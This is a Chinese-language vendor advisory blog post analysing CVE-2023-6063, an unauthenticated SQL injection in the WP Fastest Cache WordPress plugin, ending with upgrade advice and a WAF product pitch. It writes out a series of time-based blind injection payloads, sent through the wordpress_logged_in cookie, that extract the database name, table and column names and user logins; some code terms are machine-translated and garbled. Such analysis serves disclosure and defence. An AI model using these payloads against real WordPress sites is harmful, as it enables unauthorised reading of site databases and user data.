WP Fastest Cache 插件及其 SQL 注入漏洞 (CVE-2023-6063)

2024年5月9日
WordPress SQL 注入

内容

免费试用 CDNetworks

我们的大多数产品都有 14 天的免费试用期。无需信用卡。

分享这个帖子

WP Fastest Cache 是一款 WordPress 缓存插件,旨在加速页面加载并增强访客体验,目标是提高网站在搜索引擎结果页面(尤其是 Google)上的排名。据 WordPress.org 称,有超过一百万个网站使用该插件。问题是什么?WP Fastest Cache 1.2.2 之前的版本容易受到 SQL 注入攻击,这可能允许未经身份验证的攻击者读取网站的数据库内容,从而导致巨大的隐私和安全问题。

漏洞分析

该漏洞发生在插件启动缓存系统时,具体来说 wpFastestCache.php,缓存函数位于其中。观察到 缓存() 功能包括“inc/cache.php”和 WpFastestCache创建缓存 类来执行它的 创建缓存() 功能。

WP Fastest Cache 插件 SQL 注入_01

继续追踪 创建缓存() 功能 inc/cache.php,它调用 是用户管理员() 函数来检查用户是否是管理员用户。进一步研究 是用户管理员() 函数,发现该函数遍历 cookie 以匹配“wordpress_logged_in”键,并提取第一个匹配的字段作为 用户名 变量,然后与 $wpdb 全局变量在网站的数据库中执行查询操作。

WP Fastest Cache 插件 SQL 注入_02

我们可以看到 用户名 在SQL语句中作为参数使用,但是没有做任何检查和过滤措施,核心SQL语句如下:

“从`$wpdb->users`中选择`$wpdb->users`.`ID`,`$wpdb->usermeta`.`meta_key`,`$wpdb->usermeta`.`meta_value`,在`$wpdb->users`内部连接`$wpdb->usermeta`上,`$wpdb->usermeta`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta`.`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;”

这主要在 wp_users 和 wp_usermeta 表之间进行内连接查询,以搜索包含相关列的行。代码复制匹配的 $cookie_值,$用户名以及 获取变量 在页面上显示该信息。

WP Fastest Cache 插件 SQL 注入_03

到目前为止,很明显的是 用户名 是从 cookie 中获取的,并且由用户控制。此外, 用户名 在数据库执行时被当作参数使用,没有经过任何形式的检查或过滤。用户可能会将恶意代码与上述 SQL 语句连接起来,从而对网站造成重大损害。

漏洞概述

根据以上分析,通过SQL语句的关联,发现该注入点并没有直接重复应用程序的任何错误信息或查询结果,因此是一个基于时间的盲注。通过关闭双引号,然后添加一个 睡眠(5) 延时函数,可以判断SQL语句是否执行成功。

WP Fastest Cache 插件 SQL 注入_04

我们观察到,当语句成功连接时,会导致程序执行延迟 5 秒。连接并执行的语句如下。

WP Fastest Cache 插件 SQL 注入_05

数据库访问

之后,就可以依靠延迟注入机制来确定数据库名称的长度。使用的语句是 root" AND if(length(database())=9,sleep(2),1) 且 "1"="1。 这里, 根”"1"="1 用于关闭前后双引号,以及 if(表达式1,表达式2,表达式3) 意味着如果 表达式1 是真的,那么 如果() 返回 表达式2,否则返回 表达式3. 在这种情况下,如果数据库的长度 长度(数据库())=9 是真的,那么 如果() 返回 睡眠(2) 导致2秒的延迟,否则返回1。通过这种方式执行,可以推断出当前数据库的长度。

WP Fastest Cache 插件 SQL 注入_06

下一步是确定数据库名称的组成。使用的语句是 root" AND if(mid(database(),1,1)="w",sleep(1),1) 和 "1"="1。 相似地, 根”"1"="1 用于关闭原来的双引号,并且 睡眠(1) 导致程序延迟 1 秒执行。该函数 中期(数据库(,1,1)=“w” 评估数据库的第一个字符是否为“w”。通过使用 蛮力攻击 方法,数据库的每个字符都可以推断出拼写“WordPress”。

WP Fastest Cache 插件 SQL 注入_07

数据库表

下一步是确定数据库中的表。使用的语句是 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1. 这意味着从 信息架构 数据库并使用 中() 函数提取其第一个字符,然后使用 如果() 检查第一个字符是否为“w”。通过这种方法,可以暴力破解WordPress数据库中各个表的名称。

WP Fastest Cache 插件 SQL 注入_08

第二个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),2,1)="p", sleep(5),1) and "1"="1

第三个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),3,1)="_", sleep(5),1) and "1"="1 …最终,第一个表名 wp_termmeta 可以被暴力破解。

类似地,通过更改 信息架构 数据库中的“wordpress”表,其他表可以被暴力破解。

WordPress中第二张表第一个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1

WordPress中第二张表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),2,1)="p", sleep(5),1) and "1"="1 … WordPress 中第三个表的第一个字符的 SQL 语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),1,1)="w", sleep(5),1) and "1"="1

WordPress中第三个表第二个字符的SQL语句 root” AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 2,1),2,1)="w", sleep(5),1) and "1"="1 ...基于此,WordPress 数据库中的所有表都可以被暴力破解。

获取数据库中的所有表后,下一步是使用以下语句强制执行表中的列 root” AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1。这涉及查询第一列 wp_users 在里面 信息架构 数据库并使用 mid() 函数提取其第一个字符,然后使用 如果() 检查这个字符是否是“I”。同样,这种方法也可以用来暴力破解表中的列名。

WP Fastest Cache 插件 SQL 注入_09

获取表中的所有列名后,下一步是使用语句强制获取表中列的值 root” AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1。这意味着查询 用户登录 字段中的 wp_users 表并使用 中() 函数提取其第一个字符,然后使用 如果() 检查这个字符是否为“r”。与上面类似,这种方法可以用来暴力破解表中每个列名的值。

WP Fastest Cache 插件 SQL 注入_10

SQL 注入威胁对 WordPress 网站有多普遍?

SQL 注入攻击是 WordPress 网站普遍存在的威胁,尤其是那些使用存在漏洞的插件或主题的网站,正如我们上面以 WP Fastest Cache 插件为例所探讨的那样。

为了降低 SQL 注入攻击的风险,WordPress 网站所有者应遵循安全最佳实践,例如保持软件更新、使用信誉良好的插件和主题、实施安全插件或防火墙以及定期备份网站数据。

到目前为止,解决本指南中强调的问题的最有效方法是将 WP Fastest Cache 升级到最新版本。我们的分析发现,只有 1.2.2 之前的 WP Fastest Cache 版本存在漏洞,这意味着更新插件是缓解此问题的最有效方法。

使用 CDNetworks 保护您的 WordPress 网站

CDNetworks 的 WAF 解决方案可以在安全漏洞被利用之前对其进行修补,从而消除 1.2.2 版之前的 WP Fastest Cache WordPress 插件中存在的 SQL 注入威胁等漏洞。

CDNetworks 基于云的 WAF 是一种基于云的解决方案,可以防止此漏洞的利用,并不断探索和分析其他恶意攻击方法。

探索更多